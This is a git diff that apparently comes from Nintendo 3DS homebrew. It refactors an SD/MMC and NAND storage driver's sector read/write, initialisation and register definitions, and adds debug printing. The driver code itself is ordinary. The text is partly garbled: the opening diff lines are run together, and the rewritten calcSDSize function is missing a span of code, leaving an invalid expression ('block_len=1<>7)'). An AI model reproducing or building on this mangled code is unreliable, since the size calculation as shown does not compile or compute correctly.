sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_TXRQ, 0); - //sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_TXRQ); - if (size > 0x1FF) { -#ifdef DATA32_SUPPORT - for (int i = 0; i<0x200; i+=4) - sdmmc_write32(REG_SDFIFO32,*dataPtr32++); + volatile uint16_t ctl32 = sdmmc_read16(REG_DATACTL32); + if((ctl32 & 0x100)) #else - for (int i = 0; i<0x200; i+=2) - sdmmc_write16(REG_SDFIFO,*dataPtr++); + if((status1 & TMIO_STAT1_RXRDY)) #endif - size -= 0x200; - } - } - } - if (status1 & TMIO_MASK_GW) { - ctx->error |= 4; - break; - } - - if (!(status1 & TMIO_STAT1_CMD_BUSY)) { - status0 = sdmmc_read16(REG_SDSTATUS0); - if (sdmmc_read16(REG_SDSTATUS0) & TMIO_STAT0_CMDRESPEND) - ctx->error |= 0x1; - if (status0 & TMIO_STAT0_DATAEND) - ctx->error |= 0x2; - - if ((status0 & flags) == flags) - break; - } - } - ctx->stat0 = sdmmc_read16(REG_SDSTATUS0); - ctx->stat1 = sdmmc_read16(REG_SDSTATUS1); - sdmmc_write16(REG_SDSTATUS0,0); - sdmmc_write16(REG_SDSTATUS1,0); - - if (getSDRESP != 0) { - ctx->ret[0] = sdmmc_read16(REG_SDRESP0) | (sdmmc_read16(REG_SDRESP1) << 16); - ctx->ret[1] = sdmmc_read16(REG_SDRESP2) | (sdmmc_read16(REG_SDRESP3) << 16); - ctx->ret[2] = sdmmc_read16(REG_SDRESP4) | (sdmmc_read16(REG_SDRESP5) << 16); - ctx->ret[3] = sdmmc_read16(REG_SDRESP6) | (sdmmc_read16(REG_SDRESP7) << 16); - } -} - -int __attribute__((noinline)) sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in) -{ - if (handleSD.isSDHC == 0) - sector_no <<= 9; - inittarget(&handleSD); - sdmmc_write16(REG_SDSTOP,0x100); - + { + if(readdata) + { + if(useBuf) + { + sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_RXRDY, 0); + //sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_RXRDY); + if(size > 0x1FF) + { + #ifdef DATA32_SUPPORT + if(useBuf32) + { + for(int i = 0; i<0x200; i+=4) + { + *dataPtr32++ = sdmmc_read32(REG_SDFIFO32); + } + } + else + { + #endif + for(int i = 0; i<0x200; i+=2) + { + *dataPtr++ = sdmmc_read16(REG_SDFIFO); + } + #ifdef DATA32_SUPPORT + } + #endif + size -= 0x200; + } + } + + sdmmc_mask16(REG_DATACTL32, 0x800, 0); + } + } #ifdef DATA32_SUPPORT - sdmmc_write16(REG_SDBLKCOUNT32,numsectors); -#endif - - sdmmc_write16(REG_SDBLKCOUNT,numsectors); - handleSD.data = in; - handleSD.size = numsectors << 9; - sdmmc_send_command(&handleSD,0x52C19,sector_no); - return geterror(&handleSD); -} - -int __attribute__((noinline)) sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out) -{ - if (handleSD.isSDHC == 0) - sector_no <<= 9; - inittarget(&handleSD); - sdmmc_write16(REG_SDSTOP,0x100); - -#ifdef DATA32_SUPPORT - sdmmc_write16(REG_SDBLKCOUNT32,numsectors); - sdmmc_write16(REG_SDBLKLEN32,0x200); -#endif - - sdmmc_write16(REG_SDBLKCOUNT,numsectors); - handleSD.data = out; - handleSD.size = numsectors << 9; - sdmmc_send_command(&handleSD,0x33C12,sector_no); - return geterror(&handleSD); -} - - - -int __attribute__((noinline)) sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out) -{ - if (handleNAND.isSDHC == 0) - sector_no <<= 9; - inittarget(&handleNAND); - sdmmc_write16(REG_SDSTOP,0x100); - -#ifdef DATA32_SUPPORT - sdmmc_write32(REG_SDBLKCOUNT32,numsectors); + if(!(ctl32 & 0x200)) #else - sdmmc_write16(REG_SDBLKCOUNT,numsectors); + if((status1 & TMIO_STAT1_TXRQ)) #endif - - handleNAND.data = out; - handleNAND.size = numsectors << 9; - sdmmc_send_command(&handleNAND,0x33C12,sector_no); - inittarget(&handleSD); - return geterror(&handleNAND); + { + if(writedata) + { + if(useBuf) + { + sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_TXRQ, 0); + //sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_TXRQ); + if(size > 0x1FF) + { + #ifdef DATA32_SUPPORT + for(int i = 0; i<0x200; i+=4) + { + sdmmc_write32(REG_SDFIFO32,*dataPtr32++); + } + #else + for(int i = 0; i<0x200; i+=2) + { + sdmmc_write16(REG_SDFIFO,*dataPtr++); + } + #endif + size -= 0x200; + } + } + + sdmmc_mask16(REG_DATACTL32, 0x1000, 0); + } + } + if(status1 & TMIO_MASK_GW) + { + ctx->error |= 4; + break; + } + + if(!(status1 & TMIO_STAT1_CMD_BUSY)) + { + status0 = sdmmc_read16(REG_SDSTATUS0); + if(sdmmc_read16(REG_SDSTATUS0) & TMIO_STAT0_CMDRESPEND) + { + ctx->error |= 0x1; + } + if(status0 & TMIO_STAT0_DATAEND) + { + ctx->error |= 0x2; + } + + if((status0 & flags) == flags) + break; + } + } + ctx->stat0 = sdmmc_read16(REG_SDSTATUS0); + ctx->stat1 = sdmmc_read16(REG_SDSTATUS1); + sdmmc_write16(REG_SDSTATUS0,0); + sdmmc_write16(REG_SDSTATUS1,0); + + if(getSDRESP != 0) + { + ctx->ret[0] = sdmmc_read16(REG_SDRESP0) | (sdmmc_read16(REG_SDRESP1) << 16); + ctx->ret[1] = sdmmc_read16(REG_SDRESP2) | (sdmmc_read16(REG_SDRESP3) << 16); + ctx->ret[2] = sdmmc_read16(REG_SDRESP4) | (sdmmc_read16(REG_SDRESP5) << 16); + ctx->ret[3] = sdmmc_read16(REG_SDRESP6) | (sdmmc_read16(REG_SDRESP7) << 16); + } } -int __attribute__((noinline)) sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in) //experimental +int NO_INLINE sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in) { - if (handleNAND.isSDHC == 0) - sector_no <<= 9; - inittarget(&handleNAND); - sdmmc_write16(REG_SDSTOP,0x100); - + if(handelSD.isSDHC == 0) sector_no <<= 9; + inittarget(&handelSD); + sdmmc_write16(REG_SDSTOP,0x100); #ifdef DATA32_SUPPORT - sdmmc_write32(REG_SDBLKCOUNT32,numsectors); -#else - sdmmc_write16(REG_SDBLKCOUNT,numsectors); + sdmmc_write16(REG_SDBLKCOUNT32,numsectors); + sdmmc_write16(REG_SDBLKLEN32,0x200); #endif - - handleNAND.data = in; - handleNAND.size = numsectors << 9; - sdmmc_send_command(&handleNAND,0x52C19,sector_no); - inittarget(&handleSD); - return geterror(&handleNAND); + sdmmc_write16(REG_SDBLKCOUNT,numsectors); + handelSD.data = in; + handelSD.size = numsectors << 9; + sdmmc_send_command(&handelSD,0x52C19,sector_no); + return geterror(&handelSD); } -u32 calcSDSize(u8* csd, int type) +int NO_INLINE sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out) { - u32 result = 0; - u8 temp = csd[0xE]; - //int temp3 = type; + if(handelSD.isSDHC == 0) sector_no <<= 9; + inittarget(&handelSD); + sdmmc_write16(REG_SDSTOP,0x100); +#ifdef DATA32_SUPPORT + sdmmc_write16(REG_SDBLKCOUNT32,numsectors); + sdmmc_write16(REG_SDBLKLEN32,0x200); +#endif + sdmmc_write16(REG_SDBLKCOUNT,numsectors); + handelSD.data = out; + handelSD.size = numsectors << 9; + sdmmc_send_command(&handelSD,0x33C12,sector_no); + return geterror(&handelSD); +} - switch (type) { - case -1: - type = temp >> 6; - break; - case 0: - { - u32 temp = (csd[0x7] << 0x2 | csd[0x8] << 0xA | csd[0x6] >> 0x6 | (csd[0x9] & 0xF) << 0x10) & 0xFFF; - u32 temp2 = temp * (1 << (csd[0x9] & 0xF)); - u32 retval = temp2 * (1 << (((csd[0x4] >> 7 | csd[0x5] << 1) & 7) + 2)); - result = retval >> 9; - break; - } - case 1: - result = (((csd[0x7] & 0x3F) << 0x10 | csd[0x6] << 8 | csd[0x5]) + 1) << 0xA; - break; - default: - result = 0; - break; - } - return result; + +int NO_INLINE sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out) +{ + if(handelNAND.isSDHC == 0) sector_no <<= 9; + inittarget(&handelNAND); + sdmmc_write16(REG_SDSTOP,0x100); +#ifdef DATA32_SUPPORT + sdmmc_write16(REG_SDBLKCOUNT32,numsectors); + sdmmc_write16(REG_SDBLKLEN32,0x200); +#endif + sdmmc_write16(REG_SDBLKCOUNT,numsectors); + handelNAND.data = out; + handelNAND.size = numsectors << 9; + sdmmc_send_command(&handelNAND,0x33C12,sector_no); + inittarget(&handelSD); + return geterror(&handelNAND); +} + +int NO_INLINE sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in) //experimental +{ + if(handelNAND.isSDHC == 0) sector_no <<= 9; + inittarget(&handelNAND); + sdmmc_write16(REG_SDSTOP,0x100); +#ifdef DATA32_SUPPORT + sdmmc_write16(REG_SDBLKCOUNT32,numsectors); + sdmmc_write16(REG_SDBLKLEN32,0x200); +#endif + sdmmc_write16(REG_SDBLKCOUNT,numsectors); + handelNAND.data = in; + handelNAND.size = numsectors << 9; + sdmmc_send_command(&handelNAND,0x52C19,sector_no); + inittarget(&handelSD); + return geterror(&handelNAND); +} + +static uint32_t calcSDSize(uint8_t* csd, int type) +{ + uint32_t result=0; + if(type == -1) type = csd[14] >> 6; + switch(type) + { + case 0: + { + uint32_t block_len=csd[9]&0xf; + block_len=1<>7)|((csd[5]&3)<<1); + mult=1<<(mult+2); + result=csd[8]&3; + result=(result<<8)|csd[7]; + result=(result<<2)|(csd[6]>>6); + result=(result+1)*mult*block_len/512; + } + break; + case 1: + result=csd[7]&0x3f; + result=(result<<8)|csd[6]; + result=(result<<8)|csd[5]; + result=(result+1)*1024; + break; + } + return result; } void InitSD() { - //NAND - handleNAND.isSDHC = 0; - handleNAND.SDOPT = 0; - handleNAND.res = 0; - handleNAND.initarg = 1; - handleNAND.clk = 0x80; - handleNAND.devicenumber = 1; - - //SD - handleSD.isSDHC = 0; - handleSD.SDOPT = 0; - handleSD.res = 0; - handleSD.initarg = 0; - handleSD.clk = 0x80; - handleSD.devicenumber = 0; - - //sdmmc_mask16(0x100,0x800,0); - //sdmmc_mask16(0x100,0x1000,0); - //sdmmc_mask16(0x100,0x0,0x402); - //sdmmc_mask16(0xD8,0x22,0x2); - //sdmmc_mask16(0x100,0x2,0); - //sdmmc_mask16(0xD8,0x22,0); - //sdmmc_write16(0x104,0); - //sdmmc_write16(0x108,1); - //sdmmc_mask16(REG_SDRESET,1,0); //not in new Version -- nintendo's code does this - //sdmmc_mask16(REG_SDRESET,0,1); //not in new Version -- nintendo's code does this - //sdmmc_mask16(0x20,0,0x31D); - //sdmmc_mask16(0x22,0,0x837F); - //sdmmc_mask16(0xFC,0,0xDB); - //sdmmc_mask16(0xFE,0,0xDB); - ////sdmmc_write16(REG_SDCLKCTL,0x20); - ////sdmmc_write16(REG_SDOPT,0x40EE); - ////sdmmc_mask16(0x02,0x3,0); - //sdmmc_write16(REG_SDCLKCTL,0x40); - //sdmmc_write16(REG_SDOPT,0x40EB); - //sdmmc_mask16(0x02,0x3,0); - //sdmmc_write16(REG_SDBLKLEN,0x200); - //sdmmc_write16(REG_SDSTOP,0); - - *(vu16*)0x10006100 &= 0xF7FFu; //SDDATACTL32 - *(vu16*)0x10006100 &= 0xEFFFu; //SDDATACTL32 + //NAND + handelNAND.isSDHC = 0; + handelNAND.SDOPT = 0; + handelNAND.res = 0; + handelNAND.initarg = 1; + handelNAND.clk = 0x80; + handelNAND.devicenumber = 1; + + //SD + handelSD.isSDHC = 0; + handelSD.SDOPT = 0; + handelSD.res = 0; + handelSD.initarg = 0; + handelSD.clk = 0x80; + handelSD.devicenumber = 0; + + //sdmmc_mask16(0x100,0x800,0); + //sdmmc_mask16(0x100,0x1000,0); + //sdmmc_mask16(0x100,0x0,0x402); + //sdmmc_mask16(0xD8,0x22,0x2); + //sdmmc_mask16(0x100,0x2,0); + //sdmmc_mask16(0xD8,0x22,0); + //sdmmc_write16(0x104,0); + //sdmmc_write16(0x108,1); + //sdmmc_mask16(REG_SDRESET,1,0); //not in new Version -- nintendo's code does this + //sdmmc_mask16(REG_SDRESET,0,1); //not in new Version -- nintendo's code does this + //sdmmc_mask16(0x20,0,0x31D); + //sdmmc_mask16(0x22,0,0x837F); + //sdmmc_mask16(0xFC,0,0xDB); + //sdmmc_mask16(0xFE,0,0xDB); + ////sdmmc_write16(REG_SDCLKCTL,0x20); + ////sdmmc_write16(REG_SDOPT,0x40EE); + ////sdmmc_mask16(0x02,0x3,0); + //sdmmc_write16(REG_SDCLKCTL,0x40); + //sdmmc_write16(REG_SDOPT,0x40EB); + //sdmmc_mask16(0x02,0x3,0); + //sdmmc_write16(REG_SDBLKLEN,0x200); + //sdmmc_write16(REG_SDSTOP,0); + + *(volatile uint16_t*)0x10006100 &= 0xF7FFu; //SDDATACTL32 + *(volatile uint16_t*)0x10006100 &= 0xEFFFu; //SDDATACTL32 #ifdef DATA32_SUPPORT - *(vu16*)0x10006100 |= 0x402u; //SDDATACTL32 + *(volatile uint16_t*)0x10006100 |= 0x402u; //SDDATACTL32 #else - *(vu16*)0x10006100 |= 0x402u; //SDDATACTL32 + *(volatile uint16_t*)0x10006100 |= 0x402u; //SDDATACTL32 #endif - *(vu16*)0x100060D8 = (*(vu16*)0x100060D8 & 0xFFDD) | 2; + *(volatile uint16_t*)0x100060D8 = (*(volatile uint16_t*)0x100060D8 & 0xFFDD) | 2; #ifdef DATA32_SUPPORT - *(vu16*)0x10006100 &= 0xFFFFu; //SDDATACTL32 - *(vu16*)0x100060D8 &= 0xFFDFu; //SDDATACTL - *(vu16*)0x10006104 = 512; //SDBLKLEN32 + *(volatile uint16_t*)0x10006100 &= 0xFFFFu; //SDDATACTL32 + *(volatile uint16_t*)0x100060D8 &= 0xFFDFu; //SDDATACTL + *(volatile uint16_t*)0x10006104 = 512; //SDBLKLEN32 #else - *(vu16*)0x10006100 &= 0xFFFDu; //SDDATACTL32 - *(vu16*)0x100060D8 &= 0xFFDDu; //SDDATACTL - *(vu16*)0x10006104 = 0; //SDBLKLEN32 + *(volatile uint16_t*)0x10006100 &= 0xFFFDu; //SDDATACTL32 + *(volatile uint16_t*)0x100060D8 &= 0xFFDDu; //SDDATACTL + *(volatile uint16_t*)0x10006104 = 0; //SDBLKLEN32 #endif - *(vu16*)0x10006108 = 1; //SDBLKCOUNT32 - *(vu16*)0x100060E0 &= 0xFFFEu; //SDRESET - *(vu16*)0x100060E0 |= 1u; //SDRESET - *(vu16*)0x10006020 |= TMIO_MASK_ALL; //SDIR_MASK0 - *(vu16*)0x10006022 |= TMIO_MASK_ALL>>16; //SDIR_MASK1 - *(vu16*)0x100060FC |= 0xDBu; //SDCTL_RESERVED7 - *(vu16*)0x100060FE |= 0xDBu; //SDCTL_RESERVED8 - *(vu16*)0x10006002 &= 0xFFFCu; //SDPORTSEL + *(volatile uint16_t*)0x10006108 = 1; //SDBLKCOUNT32 + *(volatile uint16_t*)0x100060E0 &= 0xFFFEu; //SDRESET + *(volatile uint16_t*)0x100060E0 |= 1u; //SDRESET + *(volatile uint16_t*)0x10006020 |= TMIO_MASK_ALL; //SDIR_MASK0 + *(volatile uint16_t*)0x10006022 |= TMIO_MASK_ALL>>16; //SDIR_MASK1 + *(volatile uint16_t*)0x100060FC |= 0xDBu; //SDCTL_RESERVED7 + *(volatile uint16_t*)0x100060FE |= 0xDBu; //SDCTL_RESERVED8 + *(volatile uint16_t*)0x10006002 &= 0xFFFCu; //SDPORTSEL #ifdef DATA32_SUPPORT - *(vu16*)0x10006024 = 0x20; - *(vu16*)0x10006028 = 0x40EE; + *(volatile uint16_t*)0x10006024 = 0x20; + *(volatile uint16_t*)0x10006028 = 0x40EE; #else - *(vu16*)0x10006024 = 0x40; //Nintendo sets this to 0x20 - *(vu16*)0x10006028 = 0x40EB; //Nintendo sets this to 0x40EE + *(volatile uint16_t*)0x10006024 = 0x40; //Nintendo sets this to 0x20 + *(volatile uint16_t*)0x10006028 = 0x40EB; //Nintendo sets this to 0x40EE #endif - *(vu16*)0x10006002 &= 0xFFFCu; ////SDPORTSEL - *(vu16*)0x10006026 = 512; //SDBLKLEN - *(vu16*)0x10006008 = 0; //SDSTOP - - inittarget(&handleSD); + *(volatile uint16_t*)0x10006002 &= 0xFFFCu; ////SDPORTSEL + *(volatile uint16_t*)0x10006026 = 512; //SDBLKLEN + *(volatile uint16_t*)0x10006008 = 0; //SDSTOP + + inittarget(&handelSD); } int Nand_Init() { - inittarget(&handleNAND); - ioDelay(0xF000); - - sdmmc_send_command(&handleNAND,0,0); - - do { - do { - sdmmc_send_command(&handleNAND,0x10701,0x100000); - } while ( !(handleNAND.error & 1) ); - } while((handleNAND.ret[0] & 0x80000000) == 0); - - sdmmc_send_command(&handleNAND,0x10602,0x0); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x10403,handleNAND.initarg << 0x10); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x10609,handleNAND.initarg << 0x10); - if (handleNAND.error & 0x4) return -1; - - handleNAND.total_size = calcSDSize((u8*)&handleNAND.ret[0],0); - handleNAND.clk = 1; - setckl(1); - - sdmmc_send_command(&handleNAND,0x10407,handleNAND.initarg << 0x10); - if (handleNAND.error & 0x4) return -1; - - handleNAND.SDOPT = 1; - - sdmmc_send_command(&handleNAND,0x10506,0x3B70100); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x10506,0x3B90100); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x1040D,handleNAND.initarg << 0x10); - if (handleNAND.error & 0x4) return -1; - - sdmmc_send_command(&handleNAND,0x10410,0x200); - if (handleNAND.error & 0x4) return -1; - - handleNAND.clk |= 0x200; - - inittarget(&handleSD); - - return 0; + inittarget(&handelNAND); + waitcycles(0xF000); + + DEBUGPRINT(topScreen, "0x00000 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0,0); + + DEBUGPRINT(topScreen, "0x10701 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + do + { + do + { + sdmmc_send_command(&handelNAND,0x10701,0x100000); + DEBUGPRINT(topScreen, "error ", handelNAND.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208)); + DEBUGPRINT(topScreen, "ret: ", handelNAND.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208)); + DEBUGPRINT(topScreen, "test ", 3, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208)); + } while ( !(handelNAND.error & 1) ); + } + while((handelNAND.ret[0] & 0x80000000) == 0); + + DEBUGPRINT(topScreen, "0x10602 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10602,0x0); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10403 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10403,handelNAND.initarg << 0x10); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10609 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10609,handelNAND.initarg << 0x10); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10407 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + handelNAND.total_size = calcSDSize((uint8_t*)&handelNAND.ret[0],0); + handelNAND.clk = 1; + setckl(1); + + sdmmc_send_command(&handelNAND,0x10407,handelNAND.initarg << 0x10); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10506 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + handelNAND.SDOPT = 1; + + sdmmc_send_command(&handelNAND,0x10506,0x3B70100); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10506 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10506,0x3B90100); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x1040D ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x1040D,handelNAND.initarg << 0x10); + if((handelNAND.error & 0x4))return -1; + + DEBUGPRINT(topScreen, "0x10410 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelNAND,0x10410,0x200); + if((handelNAND.error & 0x4))return -1; + + handelNAND.clk |= 0x200; + + inittarget(&handelSD); + + return 0; } int SD_Init() { - inittarget(&handleSD); - //ioDelay(0x3E8); - ioDelay(0xF000); - sdmmc_send_command(&handleSD,0,0); - sdmmc_send_command(&handleSD,0x10408,0x1AA); - //u32 temp = (handleSD.ret[0] == 0x1AA) << 0x1E; - u32 temp = (handleSD.error & 0x1) << 0x1E; + inittarget(&handelSD); + //waitcycles(0x3E8); + waitcycles(0xF000); + DEBUGPRINT(topScreen, "0x00000 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + sdmmc_send_command(&handelSD,0,0); + DEBUGPRINT(topScreen, "0x10408 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + sdmmc_send_command(&handelSD,0x10408,0x1AA); + //uint32_t temp = (handelSD.ret[0] == 0x1AA) << 0x1E; + uint32_t temp = (handelSD.error & 0x1) << 0x1E; + + DEBUGPRINT(topScreen, "0x10769 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 15*8, RGB(40, 40, 40), RGB(208, 208, 208)); + DEBUGPRINT(topScreen, "temp: ", temp, 10, 20 + 16*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + //int count = 0; + uint32_t temp2 = 0; + do + { + do + { + sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10); + sdmmc_send_command(&handelSD,0x10769,0x00FF8000 | temp); + temp2 = 1; + } while ( !(handelSD.error & 1) ); + + //DEBUGPRINT(topScreen, "sd error ", handelSD.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208)); + //DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208)); + //DEBUGPRINT(topScreen, "count: ", count++, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208)); + } + while((handelSD.ret[0] & 0x80000000) == 0); + //do + //{ + // sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10); + // sdmmc_send_command(&handelSD,0x10769,0x00FF8000 | temp); + // + // DEBUGPRINT(topScreen, "sd error ", handelSD.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208)); + // DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208)); + // DEBUGPRINT(topScreen, "count: ", count++, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208)); + //} + //while(!(handelSD.ret[0] & 0x80000000)); - //int count = 0; - u32 temp2 = 0; - do { - do { - sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10); - sdmmc_send_command(&handleSD,0x10769,0x00FF8000 | temp); - temp2 = 1; - } while ( !(handleSD.error & 1) ); + if(!((handelSD.ret[0] >> 30) & 1) || !temp) + temp2 = 0; + + handelSD.isSDHC = temp2; + //handelSD.isSDHC = (handelSD.ret[0] & 0x40000000); + + DEBUGPRINT(topScreen, "0x10602 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10602,0); + if((handelSD.error & 0x4)) return -1; + + DEBUGPRINT(topScreen, "0x10403 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10403,0); + if((handelSD.error & 0x4)) return -1; + handelSD.initarg = handelSD.ret[0] >> 0x10; + + DEBUGPRINT(topScreen, "0x10609 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10609,handelSD.initarg << 0x10); + if((handelSD.error & 0x4)) return -1; + + handelSD.total_size = calcSDSize((uint8_t*)&handelSD.ret[0],-1); + handelSD.clk = 1; + setckl(1); + + DEBUGPRINT(topScreen, "0x10507 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10507,handelSD.initarg << 0x10); + if((handelSD.error & 0x4)) return -1; - } while((handleSD.ret[0] & 0x80000000) == 0); - //do - //{ - // sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10); - // sdmmc_send_command(&handleSD,0x10769,0x00FF8000 | temp); - // - //} - //while(!(handleSD.ret[0] & 0x80000000)); - - if(!((handleSD.ret[0] >> 30) & 1) || !temp) - temp2 = 0; - - handleSD.isSDHC = temp2; - //handleSD.isSDHC = (handleSD.ret[0] & 0x40000000); - - sdmmc_send_command(&handleSD,0x10602,0); - if (handleSD.error & 0x4) return -1; - - sdmmc_send_command(&handleSD,0x10403,0); - if (handleSD.error & 0x4) return -1; - handleSD.initarg = handleSD.ret[0] >> 0x10; - - sdmmc_send_command(&handleSD,0x10609,handleSD.initarg << 0x10); - if (handleSD.error & 0x4) return -1; - - handleSD.total_size = calcSDSize((u8*)&handleSD.ret[0],-1); - handleSD.clk = 1; - setckl(1); - - sdmmc_send_command(&handleSD,0x10507,handleSD.initarg << 0x10); - if (handleSD.error & 0x4) return -1; - - sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10); - if (handleSD.error & 0x4) return -1; - - handleSD.SDOPT = 1; - sdmmc_send_command(&handleSD,0x10446,0x2); - if (handleSD.error & 0x4) return -1; - - sdmmc_send_command(&handleSD,0x1040D,handleSD.initarg << 0x10); - if (handleSD.error & 0x4) return -1; - - sdmmc_send_command(&handleSD,0x10410,0x200); - if (handleSD.error & 0x4) return -1; - handleSD.clk |= 0x200; - - return 0; + DEBUGPRINT(topScreen, "0x10437 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10437,handelSD.initarg << 0x10); + if((handelSD.error & 0x4)) return -1; + + DEBUGPRINT(topScreen, "0x10446 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + handelSD.SDOPT = 1; + sdmmc_send_command(&handelSD,0x10446,0x2); + if((handelSD.error & 0x4)) return -1; + + DEBUGPRINT(topScreen, "0x1040D ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x1040D,handelSD.initarg << 0x10); + if((handelSD.error & 0x4)) return -1; + + DEBUGPRINT(topScreen, "0x10410 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208)); + + sdmmc_send_command(&handelSD,0x10410,0x200); + if((handelSD.error & 0x4)) return -1; + handelSD.clk |= 0x200; + + return 0; } void sdmmc_sdcard_init() { - InitSD(); - Nand_Init(); - SD_Init(); + DEBUGPRINT(topScreen, "sdmmc_sdcard_init ", handelSD.error, 10, 20 + 2*8, RGB(40, 40, 40), RGB(208, 208, 208)); + InitSD(); + //SD_Init2(); + //Nand_Init(); + Nand_Init(); + DEBUGPRINT(topScreen, "nand_res ", nand_res, 10, 20 + 3*8, RGB(40, 40, 40), RGB(208, 208, 208)); + SD_Init(); + DEBUGPRINT(topScreen, "sd_res ", sd_res, 10, 20 + 4*8, RGB(40, 40, 40), RGB(208, 208, 208)); } diff --git a/source/fatfs/sdmmc/sdmmc.h b/source/fatfs/sdmmc/sdmmc.h index bc067cb..ceafb41 100644 --- a/source/fatfs/sdmmc/sdmmc.h +++ b/source/fatfs/sdmmc/sdmmc.h @@ -1,52 +1,52 @@ -// Copyright 2014 Normmatt -// Licensed under GPLv2 or any later version -// Refer to the license.txt file included. +#ifndef __SDMMC_H__ +#define __SDMMC_H__ -#pragma once +#define TRUE 1 +#define FALSE 0 -#include "common.h" +#include -#define SDMMC_BASE 0x10006000u +#define SDMMC_BASE 0x10006000 -#define REG_SDCMD 0x00 -#define REG_SDPORTSEL 0x02 -#define REG_SDCMDARG 0x04 -#define REG_SDCMDARG0 0x04 -#define REG_SDCMDARG1 0x06 -#define REG_SDSTOP 0x08 -#define REG_SDBLKCOUNT 0x0a +#define REG_SDCMD 0x00 +#define REG_SDPORTSEL 0x02 +#define REG_SDCMDARG 0x04 +#define REG_SDCMDARG0 0x04 +#define REG_SDCMDARG1 0x06 +#define REG_SDSTOP 0x08 +#define REG_SDBLKCOUNT 0x0a -#define REG_SDRESP0 0x0c -#define REG_SDRESP1 0x0e -#define REG_SDRESP2 0x10 -#define REG_SDRESP3 0x12 -#define REG_SDRESP4 0x14 -#define REG_SDRESP5 0x16 